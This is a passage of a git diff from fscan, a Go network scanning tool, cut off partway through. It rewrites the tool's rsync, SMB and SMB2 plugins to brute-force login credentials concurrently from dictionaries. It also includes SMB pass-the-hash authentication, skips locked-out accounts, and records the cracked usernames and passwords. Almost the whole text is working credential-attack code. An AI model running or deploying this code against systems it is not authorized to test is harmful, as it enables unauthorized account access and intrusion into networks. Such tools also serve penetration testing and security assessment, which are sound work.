|
||||||
|
return &RsyncScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
IsAnonymous: isAnonymous,
|
||||||
|
ModuleName: moduleName,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &RsyncScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// RsyncConn 尝试Rsync连接
|
||||||
|
func RsyncConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, string, error) {
|
||||||
|
host, port := info.Host, info.Ports
|
||||||
|
timeout := time.Duration(Common.Timeout) * time.Second
|
||||||
|
|
||||||
|
// 建立连接
|
||||||
|
conn, err := Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout)
|
||||||
|
if err != nil {
|
||||||
|
return false, "", err
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
// 创建结果通道用于超时控制
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
moduleName string
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
// 在协程中处理连接,以支持上下文取消
|
||||||
|
go func() {
|
||||||
|
buffer := make([]byte, 1024)
|
||||||
|
|
||||||
|
// 1. 读取服务器初始greeting
|
||||||
|
conn.SetReadDeadline(time.Now().Add(timeout))
|
||||||
|
n, err := conn.Read(buffer)
|
||||||
|
if err != nil {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
moduleName string
|
||||||
|
err error
|
||||||
|
}{false, "", err}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
greeting := string(buffer[:n])
|
||||||
|
if !strings.HasPrefix(greeting, "@RSYNCD:") {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
moduleName string
|
||||||
|
err error
|
||||||
|
}{false, "", fmt.Errorf("不是Rsync服务")}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取服务器版本号
|
||||||
|
version := strings.TrimSpace(strings.TrimPrefix(greeting, "@RSYNCD:"))
|
||||||
|
|
||||||
|
// 2. 回应相同的版本号
|
||||||
|
conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||||
|
_, err = conn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
|
||||||
|
if err != nil {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
moduleName string
|
||||||
|
err error
|
||||||
|
}{false, "", err}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. 选择模块 - 先列出可用模块
|
||||||
|
conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||||
|
_, err = conn.Write([]byte("#list\n"))
|
||||||
|
if err != nil {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
moduleName string
|
||||||
|
err error
|
||||||
|
}{false, "", err}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. 读取模块列表
|
||||||
|
var moduleList strings.Builder
|
||||||
|
for {
|
||||||
|
// 检查上下文是否取消
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
conn.SetReadDeadline(time.Now().Add(timeout))
|
||||||
|
n, err = conn.Read(buffer)
|
||||||
|
if err != nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
chunk := string(buffer[:n])
|
||||||
|
moduleList.WriteString(chunk)
|
||||||
|
if strings.Contains(chunk, "@RSYNCD: EXIT") {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
modules := strings.Split(moduleList.String(), "\n")
|
||||||
|
for _, module := range modules {
|
||||||
|
if strings.HasPrefix(module, "@RSYNCD") || module == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取模块名
|
||||||
|
moduleName := strings.Fields(module)[0]
|
||||||
|
|
||||||
|
// 检查上下文是否取消
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5. 为每个模块创建新连接尝试认证
|
||||||
|
authConn, err := Common.WrapperTcpWithTimeout(host, port, timeout)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
defer authConn.Close() // 重复初始握手
|
||||||
|
authConn.SetReadDeadline(time.Now().Add(timeout))
|
||||||
|
_, err = authConn.Read(buffer)
|
||||||
|
if err != nil {
|
||||||
|
authConn.Close()
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
authConn.SetWriteDeadline(time.Now().Add(timeout))
|
||||||
|
_, err = authConn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
|
||||||
|
if err != nil {
|
||||||
|
authConn.Close()
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 6. 选择模块
|
||||||
|
authConn.SetWriteDeadline(time.Now().Add(timeout))
|
||||||
|
_, err = authConn.Write([]byte(moduleName + "\n"))
|
||||||
|
if err != nil {
|
||||||
|
authConn.Close()
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 7. 等待认证挑战
|
||||||
|
authConn.SetReadDeadline(time.Now().Add(timeout))
|
||||||
|
n, err = authConn.Read(buffer)
|
||||||
|
if err != nil {
|
||||||
|
authConn.Close()
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
authResponse := string(buffer[:n])
|
||||||
|
if strings.Contains(authResponse, "@RSYNCD: OK") {
|
||||||
|
// 模块不需要认证
|
||||||
|
if user == "" && pass == "" {
|
||||||
|
authConn.Close()
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
moduleName string
|
||||||
|
err error
|
||||||
|
}{true, moduleName, nil}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else if strings.Contains(authResponse, "@RSYNCD: AUTHREQD") {
|
||||||
|
if user != "" && pass != "" {
|
||||||
|
// 8. 发送认证信息
|
||||||
|
authString := fmt.Sprintf("%s %s\n", user, pass)
|
||||||
|
authConn.SetWriteDeadline(time.Now().Add(timeout))
|
||||||
|
_, err = authConn.Write([]byte(authString))
|
||||||
|
if err != nil {
|
||||||
|
authConn.Close()
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 9. 读取认证结果
|
||||||
|
authConn.SetReadDeadline(time.Now().Add(timeout))
|
||||||
|
n, err = authConn.Read(buffer)
|
||||||
|
if err != nil {
|
||||||
|
authConn.Close()
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if !strings.Contains(string(buffer[:n]), "@ERROR") {
|
||||||
|
authConn.Close()
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
moduleName string
|
||||||
|
err error
|
||||||
|
}{true, moduleName, nil}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
authConn.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果执行到这里,没有找到成功的认证
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
moduleName string
|
||||||
|
err error
|
||||||
|
}{false, "", fmt.Errorf("认证失败或无可用模块")}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或上下文取消
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
return result.success, result.moduleName, result.err
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, "", ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveRsyncResult 保存Rsync扫描结果
|
||||||
|
func saveRsyncResult(info *Common.HostInfo, target string, result *RsyncScanResult) {
|
||||||
|
var successMsg string
|
||||||
|
var details map[string]interface{}
|
||||||
|
|
||||||
|
if result.IsAnonymous {
|
||||||
|
successMsg = fmt.Sprintf("Rsync服务 %s 匿名访问成功 模块: %s", target, result.ModuleName)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "rsync",
|
||||||
|
"type": "anonymous-access",
|
||||||
|
"module": result.ModuleName,
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
successMsg = fmt.Sprintf("Rsync服务 %s 爆破成功 用户名: %v 密码: %v 模块: %s",
|
||||||
|
target, result.Credential.Username, result.Credential.Password, result.ModuleName)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "rsync",
|
||||||
|
"type": "weak-password",
|
||||||
|
"username": result.Credential.Username,
|
||||||
|
"password": result.Credential.Password,
|
||||||
|
"module": result.ModuleName,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
+259
-71
@@ -1,73 +1,259 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"errors"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
"github.com/shadow1ng/fscan/Common"
|
||||||
"github.com/stacktitan/smb/smb"
|
"github.com/stacktitan/smb/smb"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// SmbScan 执行SMB服务的认证扫描
|
// SmbCredential 表示一个SMB凭据
|
||||||
func SmbScan(info *Common.HostInfo) (tmperr error) {
|
type SmbCredential struct {
|
||||||
// 如果未启用暴力破解则直接返回
|
Username string
|
||||||
if Common.IsBrute {
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// SmbScanResult 表示SMB扫描结果
|
||||||
|
type SmbScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential SmbCredential
|
||||||
|
}
|
||||||
|
|
||||||
|
func SmbScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
startTime := time.Now().Unix()
|
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
// 遍历用户名和密码字典进行认证尝试
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 构建凭据列表
|
||||||
|
var credentials []SmbCredential
|
||||||
for _, user := range Common.Userdict["smb"] {
|
for _, user := range Common.Userdict["smb"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
// 替换密码中的用户名占位符
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
credentials = append(credentials, SmbCredential{
|
||||||
|
Username: user,
|
||||||
// 执行带超时的认证
|
Password: actualPass,
|
||||||
success, err := doWithTimeOut(info, user, pass)
|
})
|
||||||
|
|
||||||
if success && err == nil {
|
|
||||||
// 认证成功,记录结果
|
|
||||||
var result string
|
|
||||||
if Common.Domain != "" {
|
|
||||||
result = fmt.Sprintf("[✓] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v",
|
|
||||||
info.Host, info.Ports, Common.Domain, user, pass)
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[✓] SMB认证成功 %v:%v User:%v Pass:%v",
|
|
||||||
info.Host, info.Ports, user, pass)
|
|
||||||
}
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
return err
|
|
||||||
} else {
|
|
||||||
// 认证失败,记录错误
|
|
||||||
errorMsg := fmt.Sprintf("[x] SMB认证失败 %v:%v User:%v Pass:%v Err:%v",
|
|
||||||
info.Host, info.Ports, user, pass,
|
|
||||||
strings.ReplaceAll(err.Error(), "\n", ""))
|
|
||||||
Common.LogError(errorMsg)
|
|
||||||
tmperr = err
|
|
||||||
|
|
||||||
// 检查是否需要中断扫描
|
|
||||||
if Common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否超时
|
|
||||||
timeoutLimit := int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout
|
|
||||||
if time.Now().Unix()-startTime > timeoutLimit {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["smb"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentSmbScan(ctx, info, credentials, Common.Timeout)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveSmbResult(info, target, result.Credential)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("SMB扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// SmblConn 尝试建立SMB连接并进行认证
|
// concurrentSmbScan 并发扫描SMB服务
|
||||||
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials []SmbCredential, timeoutSeconds int64) *SmbScanResult {
|
||||||
flag = false
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
// 配置SMB连接选项
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *SmbScanResult, 1)
|
||||||
|
workChan := make(chan SmbCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 记录用户锁定状态,避免继续尝试已锁定的用户
|
||||||
|
lockedUsers := make(map[string]bool)
|
||||||
|
var lockedMutex sync.Mutex
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
// 检查用户是否已锁定
|
||||||
|
lockedMutex.Lock()
|
||||||
|
locked := lockedUsers[credential.Username]
|
||||||
|
lockedMutex.Unlock()
|
||||||
|
if locked {
|
||||||
|
Common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
result := trySmbCredential(scanCtx, info, credential, timeoutSeconds)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查账号锁定错误
|
||||||
|
if result.Error != nil && strings.Contains(result.Error.Error(), "账号锁定") {
|
||||||
|
lockedMutex.Lock()
|
||||||
|
lockedUsers[credential.Username] = true
|
||||||
|
lockedMutex.Unlock()
|
||||||
|
Common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
// 检查用户是否已锁定
|
||||||
|
lockedMutex.Lock()
|
||||||
|
locked := lockedUsers[cred.Username]
|
||||||
|
lockedMutex.Unlock()
|
||||||
|
if locked {
|
||||||
|
continue // 跳过已锁定用户
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("SMB并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// trySmbCredential 尝试单个SMB凭据
|
||||||
|
func trySmbCredential(ctx context.Context, info *Common.HostInfo, credential SmbCredential, timeoutSeconds int64) *SmbScanResult {
|
||||||
|
// 创建单个连接超时上下文的结果通道
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
// 在协程中尝试连接
|
||||||
|
go func() {
|
||||||
|
signal := make(chan struct{}, 1)
|
||||||
|
success, err := SmblConn(info, credential.Username, credential.Password, signal)
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{success, err}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或超时
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
return &SmbScanResult{
|
||||||
|
Success: result.success,
|
||||||
|
Error: result.err,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &SmbScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: ctx.Err(),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
case <-time.After(time.Duration(timeoutSeconds) * time.Second):
|
||||||
|
return &SmbScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("连接超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveSmbResult 保存SMB扫描结果
|
||||||
|
func saveSmbResult(info *Common.HostInfo, target string, credential SmbCredential) {
|
||||||
|
// 构建结果消息
|
||||||
|
var successMsg string
|
||||||
|
details := map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "smb",
|
||||||
|
"username": credential.Username,
|
||||||
|
"password": credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
}
|
||||||
|
|
||||||
|
if Common.Domain != "" {
|
||||||
|
successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s", target, Common.Domain, credential.Username, credential.Password)
|
||||||
|
details["domain"] = Common.Domain
|
||||||
|
} else {
|
||||||
|
successMsg = fmt.Sprintf("SMB认证成功 %s %s:%s", target, credential.Username, credential.Password)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 记录成功日志
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
result := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
Common.SaveResult(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
// SmblConn 尝试建立SMB连接并认证
|
||||||
|
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
||||||
options := smb.Options{
|
options := smb.Options{
|
||||||
Host: info.Host,
|
Host: info.Host,
|
||||||
Port: 445,
|
Port: 445,
|
||||||
@@ -77,34 +263,36 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc
|
|||||||
Workstation: "",
|
Workstation: "",
|
||||||
}
|
}
|
||||||
|
|
||||||
// 尝试建立SMB会话
|
|
||||||
session, err := smb.NewSession(options, false)
|
session, err := smb.NewSession(options, false)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
defer session.Close()
|
defer session.Close()
|
||||||
if session.IsAuthenticated {
|
if session.IsAuthenticated {
|
||||||
flag = true
|
return true, nil
|
||||||
|
}
|
||||||
|
return false, fmt.Errorf("认证失败")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理错误信息中的换行符和多余空格
|
||||||
|
errMsg := strings.TrimSpace(strings.ReplaceAll(err.Error(), "\n", " "))
|
||||||
|
if strings.Contains(errMsg, "NT Status Error") {
|
||||||
|
switch {
|
||||||
|
case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"):
|
||||||
|
err = fmt.Errorf("密码错误")
|
||||||
|
case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"):
|
||||||
|
err = fmt.Errorf("账号锁定")
|
||||||
|
case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"):
|
||||||
|
err = fmt.Errorf("拒绝访问")
|
||||||
|
case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"):
|
||||||
|
err = fmt.Errorf("账号禁用")
|
||||||
|
case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"):
|
||||||
|
err = fmt.Errorf("密码过期")
|
||||||
|
case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"):
|
||||||
|
return false, fmt.Errorf("会话断开")
|
||||||
|
default:
|
||||||
|
err = fmt.Errorf("认证失败")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 发送完成信号
|
|
||||||
signal <- struct{}{}
|
signal <- struct{}{}
|
||||||
return flag, err
|
return false, err
|
||||||
}
|
|
||||||
|
|
||||||
// doWithTimeOut 执行带超时的SMB连接认证
|
|
||||||
func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
|
|
||||||
signal := make(chan struct{})
|
|
||||||
|
|
||||||
// 在goroutine中执行SMB连接
|
|
||||||
go func() {
|
|
||||||
flag, err = SmblConn(info, user, pass, signal)
|
|
||||||
}()
|
|
||||||
|
|
||||||
// 等待连接结果或超时
|
|
||||||
select {
|
|
||||||
case <-signal:
|
|
||||||
return flag, err
|
|
||||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
|
||||||
return false, errors.New("[!] SMB连接超时")
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+400
-133
@@ -1,147 +1,325 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
|
||||||
"net"
|
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
|
||||||
"github.com/hirochachacha/go-smb2"
|
"github.com/hirochachacha/go-smb2"
|
||||||
)
|
)
|
||||||
|
|
||||||
// SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式
|
// Smb2Credential 表示一个SMB2凭据
|
||||||
func SmbScan2(info *Common.HostInfo) (tmperr error) {
|
type Smb2Credential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
Hash []byte
|
||||||
|
IsHash bool
|
||||||
|
}
|
||||||
|
|
||||||
// 如果未启用暴力破解则直接返回
|
// Smb2ScanResult 表示SMB2扫描结果
|
||||||
if Common.IsBrute {
|
type Smb2ScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential Smb2Credential
|
||||||
|
Shares []string
|
||||||
|
}
|
||||||
|
|
||||||
|
// SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式
|
||||||
|
func SmbScan2(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
hasprint := false
|
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||||
startTime := time.Now().Unix()
|
Common.LogDebug(fmt.Sprintf("开始SMB2扫描 %s", target))
|
||||||
|
|
||||||
// 使用哈希认证模式
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 根据是否提供哈希选择认证模式
|
||||||
if len(Common.HashBytes) > 0 {
|
if len(Common.HashBytes) > 0 {
|
||||||
return smbHashScan(info, hasprint, startTime)
|
return smbHashScan(ctx, info)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 使用密码认证模式
|
return smbPasswordScan(ctx, info)
|
||||||
return smbPasswordScan(info, hasprint, startTime)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// smbHashScan 使用哈希进行认证扫描
|
// smbPasswordScan 使用密码进行SMB2认证扫描
|
||||||
func smbHashScan(info *Common.HostInfo, hasprint bool, startTime int64) error {
|
func smbPasswordScan(ctx context.Context, info *Common.HostInfo) error {
|
||||||
for _, user := range Common.Userdict["smb"] {
|
if Common.DisableBrute {
|
||||||
for _, hash := range Common.HashBytes {
|
return nil
|
||||||
success, err, printed := Smb2Con(info, user, "", hash, hasprint)
|
|
||||||
if printed {
|
|
||||||
hasprint = true
|
|
||||||
}
|
|
||||||
|
|
||||||
if success {
|
|
||||||
logSuccessfulAuth(info, user, "", hash)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
logFailedAuth(info, user, "", hash, err)
|
|
||||||
|
|
||||||
if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.HashBytes)) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(Common.Hash) > 0 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// smbPasswordScan 使用密码进行认证扫描
|
// 构建凭据列表
|
||||||
func smbPasswordScan(info *Common.HostInfo, hasprint bool, startTime int64) error {
|
var credentials []Smb2Credential
|
||||||
for _, user := range Common.Userdict["smb"] {
|
for _, user := range Common.Userdict["smb"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
pass = strings.ReplaceAll(pass, "{user}", user)
|
actualPass := strings.ReplaceAll(pass, "{user}", user)
|
||||||
success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint)
|
credentials = append(credentials, Smb2Credential{
|
||||||
if printed {
|
Username: user,
|
||||||
hasprint = true
|
Password: actualPass,
|
||||||
}
|
Hash: []byte{},
|
||||||
|
IsHash: false,
|
||||||
if success {
|
})
|
||||||
logSuccessfulAuth(info, user, pass, []byte{})
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
logFailedAuth(info, user, pass, []byte{}, err)
|
|
||||||
|
|
||||||
if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.Passwords)) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(Common.Hash) > 0 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
fmt.Println("[+] Smb2扫描模块结束...")
|
|
||||||
return nil
|
Common.LogDebug(fmt.Sprintf("开始SMB2密码认证扫描 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
